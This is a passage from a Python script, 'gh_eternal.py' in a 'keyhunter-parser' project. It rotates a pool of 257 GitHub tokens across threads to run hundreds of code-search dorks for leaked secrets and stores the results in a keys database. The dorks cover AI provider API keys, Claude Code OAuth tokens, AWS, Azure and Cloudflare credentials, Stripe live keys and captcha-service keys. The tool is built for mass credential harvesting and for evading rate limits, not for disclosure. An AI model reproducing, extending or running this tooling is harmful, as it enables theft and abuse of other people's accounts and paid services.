Files
keyhunter-parser/gh_eternal.py

1251 lines
47 KiB
Python

"""ETERNAL gh dork hunt v2: 257-PAT REST pool + 16 threads.
Each query hits api.github.com/search/code with a round-robin PAT.
Throughput: ~360 req/min vs 20 before (single gh CLI token).
"""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import hashlib
import json
import os
import re
import sqlite3
import subprocess
import sys
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
LOG = os.environ.get("KF_LOG") or os.path.join(KF_BASE, "gh_eternal.log")
TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
API = "https://api.github.com/search/code"
N_THREADS = 8
_SESSION = requests.Session()
_SESSION.trust_env = False
DORKS = [
"ANTHROPIC_API_KEY filename:.env",
"sk-ant-api03 filename:.env",
"OPENAI_API_KEY filename:.env",
"OPENAI_API_KEY filename:config",
"OPENAI_API_KEY filename:docker-compose",
"OPENAI_API_KEY filename:Makefile",
"OPENAI_API_KEY filename:md",
"OPENAI_API_KEY filename:txt",
"OPENAI_API_KEY filename:js",
"OPENAI_API_KEY filename:json",
"OPENAI_API_KEY filename:ipynb",
"ANTHROPIC_API_KEY filename:config",
"ANTHROPIC_API_KEY filename:docker-compose",
"ANTHROPIC_API_KEY filename:Makefile",
"ANTHROPIC_API_KEY filename:md",
"ANTHROPIC_API_KEY filename:txt",
"sk- filename:.env",
"sk-or-v1- filename:.env",
"sk-or-v1- filename:json",
"sk-or-v1- filename:md",
"sk-or-v1- filename:js",
"GROQ_API_KEY filename:.env",
"MOONSHOT_API_KEY filename:.env",
"MOONSHOT_API_KEY filename:docker-compose",
"ELEVENLABS_API_KEY filename:.env",
"OPENROUTER_API_KEY filename:.env",
"DASHSCOPE_API_KEY filename:.env",
"ZAI_API_KEY filename:.env",
"GLM_API_KEY filename:.env",
"DEEPSEEK_API_KEY filename:.env",
"deepseek password sk- filename:.env",
"sk- filename:.env DEEPSEEK",
"ZHIPU_API_KEY filename:.env",
"ZHIPUAI_API_KEY filename:json",
"BIGMODEL_API_KEY filename:.env",
"REPLICATE_API_TOKEN filename:.env",
"REPLICATE_API_TOKEN filename:js",
"r8_ filename:.env",
"COHERE_API_KEY filename:.env",
"CO_API_KEY filename:.env",
"GEMINI_API_KEY filename:.env",
"GOOGLE_API_KEY filename:.env AIza",
"AIza filename:.env",
"HF_TOKEN filename:.env",
"HUGGINGFACE_API_TOKEN filename:.env",
"hf_ filename:.env",
"SILICONFLOW_API_KEY filename:.env",
"SILICONFLOW filename:config",
"KIMI_API_KEY filename:.env",
"MOONSHOT sk- filename:json",
"FIREWORKS_API_KEY filename:.env",
"TOGETHER_API_KEY filename:.env",
"PERPLEXITY_API_KEY filename:.env",
"pplx- filename:.env",
"NVIDIA_API_KEY filename:.env",
"nvapi- filename:.env",
"ANTHROPIC_API_KEY filename:ipynb",
"OPENAI_API_KEY filename:ipynb",
"sk-ant-api03 filename:ipynb",
"filename:.env DASHSCOPE",
"Z_AI_API_KEY filename:.env",
# wide
"sk-ant-api03",
"sk-or-v1-",
"ANTHROPIC_API_KEY filename:config.py",
"OPENAI_API_KEY filename:settings",
"OPENAI_API_KEY filename:secrets",
"OPENAI_API_KEY filename:credentials",
"OPENAI_API_KEY filename:.bashrc",
"OPENAI_API_KEY filename:.zshrc",
"ANTHROPIC_API_KEY filename:settings",
"ANTHROPIC_API_KEY filename:secrets",
"sk- filename:credentials.json",
"api_key filename:secrets.json",
"api_key filename:config.py",
"apikey filename:config.py",
"DASHSCOPE filename:settings",
"ZHIPU filename:settings",
"GLM filename:config",
"deepseek filename:settings",
"REPLICATE filename:config",
"GEMINI filename:config",
"MOONSHOT filename:config",
"KIMI filename:config",
"FIREWORKS filename:config",
"TOGETHER filename:config",
"pplx- filename:config",
"nvapi- filename:config",
"hf_ filename:config",
"OPENAI_API_KEY filename:py",
"OPENAI_API_KEY filename:ts",
"OPENAI_API_KEY filename:yaml",
"OPENAI_API_KEY filename:yml",
"OPENAI_API_KEY filename:properties",
"OPENAI_API_KEY filename:ini",
"OPENAI_API_KEY filename:cfg",
"OPENAI_API_KEY filename:toml",
"OPENAI_API_KEY filename:php",
"ANTHROPIC_API_KEY filename:py",
"ANTHROPIC_API_KEY filename:ts",
"ANTHROPIC_API_KEY filename:yaml",
"ANTHROPIC_API_KEY filename:toml",
"ANTHROPIC_API_KEY filename:sh",
"DEEPSEEK_API_KEY filename:config",
"DEEPSEEK_API_KEY filename:json",
"DEEPSEEK_API_KEY filename:md",
"DEEPSEEK_API_KEY filename:py",
"DASHSCOPE_API_KEY filename:json",
"DASHSCOPE_API_KEY filename:config",
"DASHSCOPE_API_KEY filename:md",
"DASHSCOPE_API_KEY filename:py",
"GROQ_API_KEY filename:json",
"GROQ_API_KEY filename:config",
"GROQ_API_KEY filename:py",
"MOONSHOT_API_KEY filename:config",
"MOONSHOT_API_KEY filename:json",
"ELEVENLABS_API_KEY filename:json",
"ELEVENLABS_API_KEY filename:config",
"ELEVENLABS_API_KEY filename:md",
"OPENROUTER_API_KEY filename:config",
"OPENROUTER_API_KEY filename:md",
"TOGETHER_API_KEY filename:json",
"TOGETHER_API_KEY filename:py",
"GEMINI_API_KEY filename:json",
"GEMINI_API_KEY filename:config",
"HUGGINGFACE_API_TOKEN filename:json",
"HUGGINGFACE_API_TOKEN filename:config",
"NVIDIA_API_KEY filename:config",
"NVIDIA_API_KEY filename:json",
"REPLICATE_API_TOKEN filename:config",
"REPLICATE_API_TOKEN filename:json",
"SILICONFLOW_API_KEY filename:json",
"KIMI_API_KEY filename:json",
"FIREWORKS_API_KEY filename:json",
"PERPLEXITY_API_KEY filename:json",
"AWS_SECRET_ACCESS_KEY filename:.env",
"SLACK_BOT_TOKEN filename:.env",
"STRIPE_SECRET_KEY filename:.env",
"sk_live_ filename:.env",
"SENDGRID_API_KEY filename:.env",
"OPENAI_API_KEY filename:xml",
"OPENAI_API_KEY filename:sql",
"OPENAI_API_KEY filename:gradle",
"ANTHROPIC_API_KEY filename:xml",
"DEEPSEEK_API_KEY filename:xml",
"DEEPSEEK_API_KEY filename:sql",
"DASHSCOPE_API_KEY filename:xml",
"sk-proj- filename:md",
"sk-ant-api03 filename:md",
"ELEVENLABS_API_KEY filename:rb",
"OPENAI_API_KEY filename:rb",
"OPENAI_API_KEY filename:go",
"OPENAI_API_KEY filename:java",
"GEMINI_API_KEY filename:md",
"hf_ filename:ipynb",
"OPENAI_API_KEY filename:ipynb",
"ANTHROPIC_API_KEY filename:ipynb",
"COHERE_API_KEY filename:.env",
"capsolver filename:.env",
"CAP- filename:.env",
"2captcha filename:.env",
"TWOCAPTCHA_API_KEY filename:.env",
"ANTICAPTCHA_API_KEY filename:.env",
"MISTRAL_API_KEY filename:.env",
"MISTRAL_API_KEY filename:json",
"MISTRAL_API_KEY filename:config",
"MISTRAL_API_KEY filename:py",
"tgp_ filename:.env",
"tgp_ filename:json",
"tgp_ filename:py",
"tgp_ filename:ipynb",
"TOGETHER_API_KEY filename:json",
"TOGETHER_API_KEY filename:py",
"TOGETHER_API_KEY filename:ipynb",
"fw_ filename:.env",
"fw_ filename:json",
"fw_ filename:py",
"fw_ filename:ipynb",
"FIREWORKS_API_KEY filename:py",
"FIREWORKS_API_KEY filename:ipynb",
"pplx- filename:json",
"pplx- filename:py",
"pplx- filename:ipynb",
"pplx- filename:md",
"NOVITA_API_KEY filename:.env",
"NOVITA_API_KEY filename:json",
"NOVITA_API_KEY filename:py",
"STABILITY_API_KEY filename:.env",
"STABILITY_API_KEY filename:json",
"STABILITY_API_KEY filename:py",
"r8_ filename:.env",
"r8_ filename:json",
"r8_ filename:py",
"sk-or-v1 filename:.env",
"sk-or-v1 filename:json",
"sk-or-v1 filename:py",
"sk-or-v1 filename:md",
"gsk_ filename:.env",
"gsk_ filename:json",
"gsk_ filename:py",
"gsk_ filename:ipynb",
"nvapi- filename:.env",
"KIMI_API_KEY filename:.env",
"KIMI_API_KEY filename:json",
"KIMI filename:.env",
"TOGETHER_API_KEY filename:.env",
"TOGETHER_API_KEY filename:cfg",
"TOGETHER_API_KEY filename:ini",
"TOGETHER_API_KEY filename:toml",
"TOGETHER_API_KEY filename:yaml",
"TOGETHER_API_KEY filename:sh",
"TOGETHERAI_API_KEY filename:json",
"TOGETHERAI_API_KEY filename:py",
"tgp_ sk filename:.env",
"FIREWORKS_API_KEY filename:.env",
"FIREWORKS_API_KEY filename:cfg",
"FIREWORKS_API_KEY filename:ini",
"FIREWORKS_API_KEY filename:toml",
"FIREWORKS_AI_API_KEY filename:json",
"FIREWORKS_AI_API_KEY filename:py",
"FIREWORKS_API_TOKEN filename:.env",
"NOVITA_API_KEY filename:cfg",
"NOVITA_API_KEY filename:ini",
"NOVITA_API_KEY filename:toml",
"novita.ai filename:.env",
"PERPLEXITY_API_KEY filename:.env",
"PERPLEXITY_API_KEY filename:cfg",
"PERPLEXITY_API_KEY filename:ini",
"PERPLEXITY_API_KEY filename:toml",
"PERPLEXITYAI_API_KEY filename:json",
"pplx- sk filename:.env",
"STABILITY_API_KEY filename:cfg",
"STABILITY_API_KEY filename:ini",
"STABILITY_API_KEY filename:toml",
"STABILITY_AI_API_KEY filename:json",
"STABILITYAI_API_KEY filename:.env",
"STABILITY_KEY filename:.env", "DEEPSEEK_REASONER_API_KEY filename:.env",
"DEEPSEEK_REASONER_API_KEY filename:json",
"ALIYUN_DASHSCOPE_API_KEY filename:.env",
"ALIYUN_DASHSCOPE_API_KEY filename:json",
"CLAUDE_CODE_ACCESS_TOKEN filename:.env",
"CLAUDE_CODE_ACCESS_TOKEN filename:json",
"STABLE_DIFFUSION_API_KEY filename:.env",
"STABLE_DIFFUSION_API_KEY filename:json",
"CLAUDE_CODE_OAUTH_TOKEN filename:.env",
"CLAUDE_CODE_OAUTH_TOKEN filename:json",
"QWEN_DASHSCOPE_API_KEY filename:.env",
"QWEN_DASHSCOPE_API_KEY filename:json",
"TONGYI_QIANWEN_API_KEY filename:.env",
"TONGYI_QIANWEN_API_KEY filename:json",
"DEEPSEEK_CODER_API_KEY filename:.env",
"DEEPSEEK_CODER_API_KEY filename:json",
"ALIBABA_CLOUD_API_KEY filename:.env",
"ALIBABA_CLOUD_API_KEY filename:json",
"DASHSCOPE_LLM_API_KEY filename:.env",
"DASHSCOPE_LLM_API_KEY filename:json",
"DEEPSEEK_ACCESS_TOKEN filename:.env",
"DEEPSEEK_ACCESS_TOKEN filename:json",
"DEEPSEEK_CHAT_API_KEY filename:.env",
"DEEPSEEK_CHAT_API_KEY filename:json",
"ANTHROPIC_OAUTH_TOKEN filename:.env",
"ANTHROPIC_OAUTH_TOKEN filename:json",
"ALIBABACLOUD_API_KEY filename:.env",
"ALIBABACLOUD_API_KEY filename:json",
"ALIYUN_CLOUD_API_KEY filename:.env",
"ALIYUN_CLOUD_API_KEY filename:json",
"ALIBABA_QWEN_API_KEY filename:.env",
"ALIBABA_QWEN_API_KEY filename:json",
"DEEPSEEK_PRO_API_KEY filename:.env",
"DEEPSEEK_PRO_API_KEY filename:json",
"NVIDIA_BUILD_API_KEY filename:.env",
"NVIDIA_BUILD_API_KEY filename:json",
"OPEN_ROUTER_API_KEY filename:.env",
"OPEN_ROUTER_API_KEY filename:json",
"ALIBABA_LLM_API_KEY filename:.env",
"ALIBABA_LLM_API_KEY filename:json",
"DASHSCOPE_API_TOKEN filename:.env",
"DASHSCOPE_API_TOKEN filename:json",
"ALIYUN_QWEN_API_KEY filename:.env",
"ALIYUN_QWEN_API_KEY filename:json",
"DEEPSEEK_API_SECRET filename:.env",
"DEEPSEEK_API_SECRET filename:json",
"DEEPSEEK_V3_API_KEY filename:.env",
"DEEPSEEK_V3_API_KEY filename:json",
"DEEPSEEK_V4_API_KEY filename:.env",
"DEEPSEEK_V4_API_KEY filename:json",
"DEEPSEEK_R1_API_KEY filename:.env",
"DEEPSEEK_R1_API_KEY filename:json",
"TWO_CAPTCHA_API_KEY filename:.env",
"TWO_CAPTCHA_API_KEY filename:json",
"TOGETHER_AI_API_KEY filename:.env",
"TOGETHER_AI_API_KEY filename:json",
"ALIYUN_LLM_API_KEY filename:.env",
"ALIYUN_LLM_API_KEY filename:json",
"MODELSCOPE_API_KEY filename:.env",
"MODELSCOPE_API_KEY filename:json",
"OPENAI_PROJECT_KEY filename:.env",
"OPENAI_PROJECT_KEY filename:json",
"CLAUDE_OAUTH_TOKEN filename:.env",
"CLAUDE_OAUTH_TOKEN filename:json",
"MISTRAL_AI_API_KEY filename:.env",
"MISTRAL_AI_API_KEY filename:json",
"SAKANA_AI_API_KEY filename:.env",
"SAKANA_AI_API_KEY filename:json",
"BAILIAN_API_TOKEN filename:.env",
"BAILIAN_API_TOKEN filename:json",
"RUCAPTCHA_API_KEY filename:.env",
"RUCAPTCHA_API_KEY filename:json",
"OPENAI_SECRET_KEY filename:.env",
"OPENAI_SECRET_KEY filename:json",
"GOOGLE_AI_API_KEY filename:.env",
"GOOGLE_AI_API_KEY filename:json",
"MISTRALAI_API_KEY filename:.env",
"MISTRALAI_API_KEY filename:json",
"REPLICATE_API_KEY filename:.env",
"REPLICATE_API_KEY filename:json",
"HUGGINGFACE_TOKEN filename:.env",
"HUGGINGFACE_TOKEN filename:json",
"OPENROUTER_TOKEN filename:.env",
"OPENROUTER_TOKEN filename:json",
"ALICLOUD_API_KEY filename:.env",
"ALICLOUD_API_KEY filename:json",
"MODELSCOPE_TOKEN filename:.env",
"MODELSCOPE_TOKEN filename:json",
"2CAPTCHA_API_KEY filename:.env",
"2CAPTCHA_API_KEY filename:json",
"ANTHROPIC_APIKEY filename:.env",
"ANTHROPIC_APIKEY filename:json",
"GOOGLE_API_TOKEN filename:.env",
"GOOGLE_API_TOKEN filename:json",
"PERPLEXITY_TOKEN filename:.env",
"PERPLEXITY_TOKEN filename:json",
"CHATGLM_API_KEY filename:.env",
"CHATGLM_API_KEY filename:json",
"OPEN_ROUTER_KEY filename:.env",
"OPEN_ROUTER_KEY filename:json",
"ALIBABA_API_KEY filename:.env",
"ALIBABA_API_KEY filename:json",
"DASHSCOPE_TOKEN filename:.env",
"DASHSCOPE_TOKEN filename:json",
"BAILIAN_API_KEY filename:.env",
"BAILIAN_API_KEY filename:json",
"QIANWEN_API_KEY filename:.env",
"QIANWEN_API_KEY filename:json",
"QWEN2_5_API_KEY filename:.env",
"QWEN2_5_API_KEY filename:json",
"DEEPSEEK_SECRET filename:.env",
"DEEPSEEK_SECRET filename:json",
"TWO_CAPTCHA_KEY filename:.env",
"TWO_CAPTCHA_KEY filename:json",
"ANTHROPIC_TOKEN filename:.env",
"ANTHROPIC_TOKEN filename:json",
"TOGETHER_AI_KEY filename:.env",
"TOGETHER_AI_KEY filename:json",
"REPLICATE_TOKEN filename:.env",
"REPLICATE_TOKEN filename:json",
"FIREWORKS_TOKEN filename:.env",
"FIREWORKS_TOKEN filename:json",
"STABILITY_TOKEN filename:.env",
"STABILITY_TOKEN filename:json",
"BIGMODEL_TOKEN filename:.env",
"BIGMODEL_TOKEN filename:json",
"SAKANA_API_KEY filename:.env",
"SAKANA_API_KEY filename:json",
"OPENROUTER_KEY filename:.env",
"OPENROUTER_KEY filename:json",
"ALIYUN_API_KEY filename:.env",
"ALIYUN_API_KEY filename:json",
"TONGYI_API_KEY filename:.env",
"TONGYI_API_KEY filename:json",
"DEEPSEEK_TOKEN filename:.env",
"DEEPSEEK_TOKEN filename:json",
"2CAPTCHA_TOKEN filename:.env",
"2CAPTCHA_TOKEN filename:json",
"CLAUDE_API_KEY filename:.env",
"CLAUDE_API_KEY filename:json",
"PERPLEXITY_KEY filename:.env",
"PERPLEXITY_KEY filename:json",
"DASHSCOPE_KEY filename:.env",
"DASHSCOPE_KEY filename:json",
"QWEN2_API_KEY filename:.env",
"QWEN2_API_KEY filename:json",
"RUCAPTCHA_KEY filename:.env",
"RUCAPTCHA_KEY filename:json",
"CAPTCHA_TOKEN filename:.env",
"CAPTCHA_TOKEN filename:json",
"ANTHROPIC_KEY filename:.env",
"ANTHROPIC_KEY filename:json",
"MISTRAL_TOKEN filename:.env",
"MISTRAL_TOKEN filename:json",
"REPLICATE_KEY filename:.env",
"REPLICATE_KEY filename:json",
"FIREWORKS_KEY filename:.env",
"FIREWORKS_KEY filename:json",
"GLM4_API_KEY filename:.env",
"GLM4_API_KEY filename:json",
"GLM5_API_KEY filename:.env",
"GLM5_API_KEY filename:json",
"BIGMODEL_KEY filename:.env",
"BIGMODEL_KEY filename:json",
"FUGU_API_KEY filename:.env",
"FUGU_API_KEY filename:json",
"FISH_API_KEY filename:.env",
"FISH_API_KEY filename:json",
"QWEN_API_KEY filename:.env",
"QWEN_API_KEY filename:json",
"DEEPSEEK_KEY filename:.env",
"DEEPSEEK_KEY filename:json",
"2CAPTCHA_KEY filename:.env",
"2CAPTCHA_KEY filename:json",
"OPENAI_TOKEN filename:.env",
"OPENAI_TOKEN filename:json",
"TOGETHER_KEY filename:.env",
"TOGETHER_KEY filename:json",
"PPLX_API_KEY filename:.env",
"PPLX_API_KEY filename:json",
"HF_API_TOKEN filename:.env",
"HF_API_TOKEN filename:json",
"ZHIPUAI_KEY filename:.env",
"ZHIPUAI_KEY filename:json",
"CHATGLM_KEY filename:.env",
"CHATGLM_KEY filename:json",
"ALI_API_KEY filename:.env",
"ALI_API_KEY filename:json",
"CAPTCHA_KEY filename:.env",
"CAPTCHA_KEY filename:json",
"GCP_API_KEY filename:.env",
"GCP_API_KEY filename:json",
"MISTRAL_KEY filename:.env",
"MISTRAL_KEY filename:json",
"NIM_API_KEY filename:.env",
"NIM_API_KEY filename:json",
"SAKANA_KEY filename:.env",
"SAKANA_KEY filename:json",
"OR_API_KEY filename:.env",
"OR_API_KEY filename:json",
"QWEN_TOKEN filename:.env",
"QWEN_TOKEN filename:json",
"DS_API_KEY filename:.env",
"DS_API_KEY filename:json",
"OPENAI_KEY filename:.env",
"OPENAI_KEY filename:json",
"CLAUDE_KEY filename:.env",
"CLAUDE_KEY filename:json",
"NVIDIA_KEY filename:.env",
"NVIDIA_KEY filename:json",
"ZHIPU_KEY filename:.env",
"ZHIPU_KEY filename:json",
"Z_AI_KEY filename:.env",
"Z_AI_KEY filename:json",
"OR_TOKEN filename:.env",
"OR_TOKEN filename:json",
"QWEN_KEY filename:.env",
"QWEN_KEY filename:json",
"PPLX_KEY filename:.env",
"PPLX_KEY filename:json",
"ZAI_KEY filename:.env",
"ZAI_KEY filename:json",
"\"x-api-key\" language:shell",
"sk-ant language:swift",
"OPENAI_API_KEY language:kotlin",
"GEMINI_API_KEY language:csharp",
"sk-or-v1- language:dart",
"sk-ant language:rust",
"DEEPSEEK_API_KEY language:groovy",
"ANTHROPIC_API_KEY language:hcl",
"hf_ language:hcl",
"GROQ_API_KEY filename:Dockerfile",
"OPENAI_API_KEY filename:Dockerfile",
"AIza filename:local.properties",
"ANTHROPIC_API_KEY filename:local.properties",
"MISTRAL_API_KEY filename:gradle.properties",
"x-api-key filename:sh",
# v3 weak-provider expansion (dedup-checked vs existing)
"TOGETHER_API_KEY filename:yml",
"TOGETHER_API_KEY filename:md",
"TOGETHER_API_KEY filename:ts",
"TOGETHER_API_KEY filename:js",
"TOGETHER_API_KEY filename:rb",
"TOGETHER_API_KEY filename:docker-compose",
"TOGETHER_API_KEY filename:properties",
"TOGETHERAI_API_KEY filename:.env",
"TOGETHER_AI_API_KEY filename:py",
"tgp_ filename:config",
"tgp_ filename:md",
"tgp_ filename:ts",
"tgp_ filename:yml",
"tgp_ filename:sh",
"tgp_ filename:yaml",
"FIREWORKS_API_KEY filename:yml",
"FIREWORKS_API_KEY filename:yaml",
"FIREWORKS_API_KEY filename:md",
"FIREWORKS_API_KEY filename:js",
"FIREWORKS_API_KEY filename:ts",
"FIREWORKS_API_KEY filename:sh",
"FIREWORKS_API_KEY filename:docker-compose",
"FIREWORKS_AI_API_KEY filename:.env",
"FIREWORKS_AI_API_KEY filename:yaml",
"FIREWORKS_AI_API_TOKEN filename:.env",
"fw_ filename:config",
"fw_ filename:md",
"fw_ filename:sh",
"fw_ filename:yaml",
"FIREWORKS filename:settings",
"NOVITA_API_KEY filename:yml",
"NOVITA_API_KEY filename:yaml",
"NOVITA_API_KEY filename:md",
"NOVITA_API_KEY filename:ipynb",
"NOVITA_API_KEY filename:sh",
"NOVITA_API_KEY filename:ts",
"NOVITA_API_KEY filename:docker-compose",
"NOVITA_TOKEN filename:.env",
"NOVITA_TOKEN filename:json",
"NOVITA_API_TOKEN filename:.env",
"NOVITA filename:config",
"PERPLEXITY_API_KEY filename:yml",
"PERPLEXITY_API_KEY filename:yaml",
"PERPLEXITY_API_KEY filename:py",
"PERPLEXITY_API_KEY filename:ipynb",
"PERPLEXITY_API_KEY filename:md",
"PERPLEXITY_API_KEY filename:sh",
"PERPLEXITY_API_KEY filename:docker-compose",
"PERPLEXITYAI_API_KEY filename:.env",
"PPLX_API_KEY filename:py",
"PPLX_API_KEY filename:yml",
"PPLX_TOKEN filename:.env",
"pplx- filename:yaml",
"pplx- filename:yml",
"pplx- filename:toml",
"pplx- filename:ini",
"pplx- filename:cfg",
"STABILITY_API_KEY filename:yml",
"STABILITY_API_KEY filename:yaml",
"STABILITY_API_KEY filename:md",
"STABILITY_API_KEY filename:ipynb",
"STABILITY_API_KEY filename:sh",
"STABILITY_API_KEY filename:ts",
"STABILITY_API_KEY filename:docker-compose",
"STABILITY_AI_API_KEY filename:.env",
"STABILITY_AI_API_KEY filename:py",
"STABILITYAI_API_KEY filename:json",
"STABLE_DIFFUSION_API_KEY filename:py",
"STABLE_DIFFUSION_API_KEY filename:yml",
"STABILITY filename:config",
"GROQ_API_KEY filename:yml",
"GROQ_API_KEY filename:yaml",
"GROQ_API_KEY filename:md",
"GROQ_API_KEY filename:ipynb",
"GROQ_API_KEY filename:toml",
"GROQ_API_KEY filename:sh",
"GROQ_API_KEY filename:ts",
"GROQ_API_KEY filename:js",
"GROQ_API_KEY filename:docker-compose",
"GROQ_API_KEY filename:properties",
"GROQ_API_TOKEN filename:.env",
"GROQ_API_TOKEN filename:json",
"gsk_ filename:config",
"gsk_ filename:md",
"gsk_ filename:sh",
"gsk_ filename:yaml",
"GROQ filename:settings",
"NVIDIA_API_KEY filename:py",
"NVIDIA_API_KEY filename:yml",
"NVIDIA_API_KEY filename:yaml",
"NVIDIA_API_KEY filename:md",
"NVIDIA_API_KEY filename:ipynb",
"NVIDIA_API_KEY filename:toml",
"NVIDIA_API_KEY filename:sh",
"NVIDIA_API_KEY filename:docker-compose",
"NVIDIA_NIM_API_KEY filename:.env",
"NVIDIA_NIM_API_KEY filename:json",
"NVIDIA_NIM_API_KEY filename:py",
"NVAPI filename:.env",
"NVAPI filename:json",
"nvapi- filename:env",
"nvapi- filename:json",
"nvapi- filename:py",
"nvapi- filename:ipynb",
"nvapi- filename:md",
"nvapi- filename:yaml",
"NIM_API_KEY filename:py",
"MINIMAX_API_KEY filename:.env",
"MINIMAX_API_KEY filename:json",
"MINIMAX_API_KEY filename:py",
"MINIMAX_API_KEY filename:yml",
"MINIMAX_API_KEY filename:yaml",
"MINIMAX_API_KEY filename:toml",
"MINIMAX_API_KEY filename:ini",
"MINIMAX_API_KEY filename:cfg",
"MINIMAX_API_KEY filename:md",
"MINIMAX_API_KEY filename:sh",
"MINIMAX_API_KEY filename:ipynb",
"MINIMAX_API_KEY filename:ts",
"MINIMAX_API_KEY filename:docker-compose",
"MINIMAX_GROUP_ID filename:.env",
"MINIMAX_GROUP_ID filename:json",
"MINIMAX_TOKEN filename:.env",
"MINIMAX_KEY filename:.env",
"HF_TOKEN filename:json",
"HF_TOKEN filename:py",
"HF_TOKEN filename:ipynb",
"HF_TOKEN filename:yml",
"HF_TOKEN filename:yaml",
"HF_TOKEN filename:md",
"HF_TOKEN filename:sh",
"HUGGINGFACE_API_TOKEN filename:py",
"HUGGINGFACE_API_TOKEN filename:ipynb",
"HUGGINGFACE_API_TOKEN filename:yml",
"HUGGING_FACE_HUB_TOKEN filename:.env",
"HUGGING_FACE_HUB_TOKEN filename:json",
"HUGGING_FACE_HUB_TOKEN filename:py",
"HUGGINGFACE_API_KEY filename:.env",
"HUGGINGFACE_API_KEY filename:json",
"HUGGINGFACEHUB_API_TOKEN filename:.env",
"HF_API_KEY filename:.env",
"HF_API_KEY filename:json",
"HUGGINGFACE_TOKEN filename:py",
"hf_ filename:yaml",
"hf_ filename:md",
"hf_ filename:ts",
"hf_ filename:sh",
"MISTRAL_API_KEY filename:yml",
"MISTRAL_API_KEY filename:yaml",
"MISTRAL_API_KEY filename:toml",
"MISTRAL_API_KEY filename:ipynb",
"MISTRAL_API_KEY filename:sh",
"MISTRAL_API_KEY filename:ts",
"MISTRAL_API_KEY filename:md",
"MISTRAL_API_KEY filename:docker-compose",
"MISTRAL_TOKEN filename:py",
"COHERE_API_KEY filename:json",
"COHERE_API_KEY filename:py",
"COHERE_API_KEY filename:yml",
"COHERE_API_KEY filename:yaml",
"COHERE_API_KEY filename:toml",
"COHERE_API_KEY filename:ipynb",
"COHERE_API_KEY filename:js",
"COHERE_API_KEY filename:ts",
"COHERE_API_KEY filename:docker-compose",
"CO_API_KEY filename:json",
"CO_API_KEY filename:py",
"CO_API_KEY filename:yml",
"COHERE_API_TOKEN filename:.env",
"COHERE_API_TOKEN filename:json",
"COHERE_KEY filename:.env",
"COHERE filename:config",
"REPLICATE_API_TOKEN filename:py",
"REPLICATE_API_TOKEN filename:yml",
"REPLICATE_API_TOKEN filename:yaml",
"REPLICATE_API_TOKEN filename:md",
"REPLICATE_API_TOKEN filename:ipynb",
"REPLICATE_API_TOKEN filename:sh",
"REPLICATE_API_TOKEN filename:docker-compose",
"r8_ filename:config",
"r8_ filename:md",
"r8_ filename:sh",
"r8_ filename:yaml",
"REPLICATE_API_KEY filename:py",
"REPLICATE_API_KEY filename:yml",
"REPLICATE filename:settings",
"ELEVENLABS_API_KEY filename:py",
"ELEVENLABS_API_KEY filename:yml",
"ELEVENLABS_API_KEY filename:yaml",
"ELEVENLABS_API_KEY filename:toml",
"ELEVENLABS_API_KEY filename:ipynb",
"ELEVENLABS_API_KEY filename:sh",
"ELEVENLABS_API_KEY filename:ts",
"ELEVENLABS_API_KEY filename:js",
"ELEVENLABS_API_KEY filename:docker-compose",
"XI_API_KEY filename:.env",
"XI_API_KEY filename:json",
"XI_API_KEY filename:py",
"ELEVENLABS_API_TOKEN filename:.env",
"ELEVENLABS_KEY filename:.env",
"MOONSHOT_API_KEY filename:py",
"MOONSHOT_API_KEY filename:yml",
"MOONSHOT_API_KEY filename:yaml",
"MOONSHOT_API_KEY filename:toml",
"MOONSHOT_API_KEY filename:ipynb",
"MOONSHOT_API_KEY filename:sh",
"MOONSHOT_API_KEY filename:md",
"KIMI_API_KEY filename:py",
"SAKANA_AI_API_KEY filename:py",
"SAKANA_AI_API_KEY filename:yaml",
"SAKANA_API_KEY filename:py",
"SAKANA filename:config",
"SAKANA_TOKEN filename:.env",
"LTAI filename:.env",
"LTAI filename:json",
"LTAI filename:py",
"LTAI filename:yml",
"LTAI filename:ipynb",
"ALIYUN_ACCESS_KEY_ID filename:.env",
"ALIYUN_ACCESS_KEY_SECRET filename:.env",
"ALIBABA_CLOUD_ACCESS_KEY_ID filename:.env",
"ALIBABA_CLOUD_ACCESS_KEY_SECRET filename:.env",
"ALIYUN_AKAP filename:.env",
"ALIYUN_AKAP filename:json",
"DASHSCOPE_API_KEY filename:yml",
"DASHSCOPE_API_KEY filename:yaml",
"DASHSCOPE_API_KEY filename:json",
"DASHSCOPE_API_KEY filename:py",
"DASHSCOPE_API_KEY filename:toml",
"DASHSCOPE_API_KEY filename:js",
"DASHSCOPE_API_KEY filename:ts",
"DASHSCOPE_API_KEY filename:ipynb",
"DASHSCOPE_API_KEY filename:md",
"DASHSCOPE_API_KEY filename:sh",
"DASHSCOPE_API_KEY filename:docker-compose",
"DASHSCOPE_API_KEY filename:properties",
"DASHSCOPE_API_TOKEN filename:.env",
"DASHSCOPE_TOKEN filename:.env",
"DASH_API_KEY filename:.env",
"QWEN_API_KEY filename:.env",
"QWEN_API_KEY filename:py",
"QWEN_DASHSCOPE_API_KEY filename:.env",
"TONGYI_QIANWEN_API_KEY filename:.env",
"TONGYI_API_KEY filename:.env",
"ALIYUN_DASHSCOPE_API_KEY filename:.env",
"ALIYUN_DASHSCOPE_API_KEY filename:py",
"dashscope sk- filename:.env",
"api.dashscope.cn sk-",
"dashscope sk- filename:json",
"dashscope sk- filename:md",
"dashscope sk- filename:py",
"dashscope sk- filename:yml",
"MODEL_STUDIO_API_KEY filename:.env",
"BAILIAN_API_KEY filename:.env",
"MODELSCOPE_API_KEY filename:.env",
# === v4 traffic & infra expansion ===
# Cloud providers
"AWS_ACCESS_KEY_ID filename:.env",
"AWS_SECRET_ACCESS_KEY filename:.env",
"AKIA filename:json",
"AZURE_CLIENT_SECRET filename:.env",
"AZURE_TENANT_ID filename:.env",
"CLOUDFLARE_API_TOKEN filename:.env",
"CF_API_TOKEN filename:.env",
"DIGITALOCEAN_TOKEN filename:.env",
"DO_TOKEN filename:.env",
"VULTR_API_KEY filename:.env",
"LINODE_TOKEN filename:.env",
"HEROKU_API_KEY filename:.env",
"VERCEL_TOKEN filename:.env",
"NETLIFY_AUTH_TOKEN filename:.env",
# AI infra / GPU clouds
"RUNPOD_API_KEY filename:.env",
"MODAL_TOKEN filename:.env",
"LAMBDA_API_KEY filename:.env",
"ANYSCALE_API_KEY filename:.env",
# Vector DBs / RAG
"PINECONE_API_KEY filename:.env",
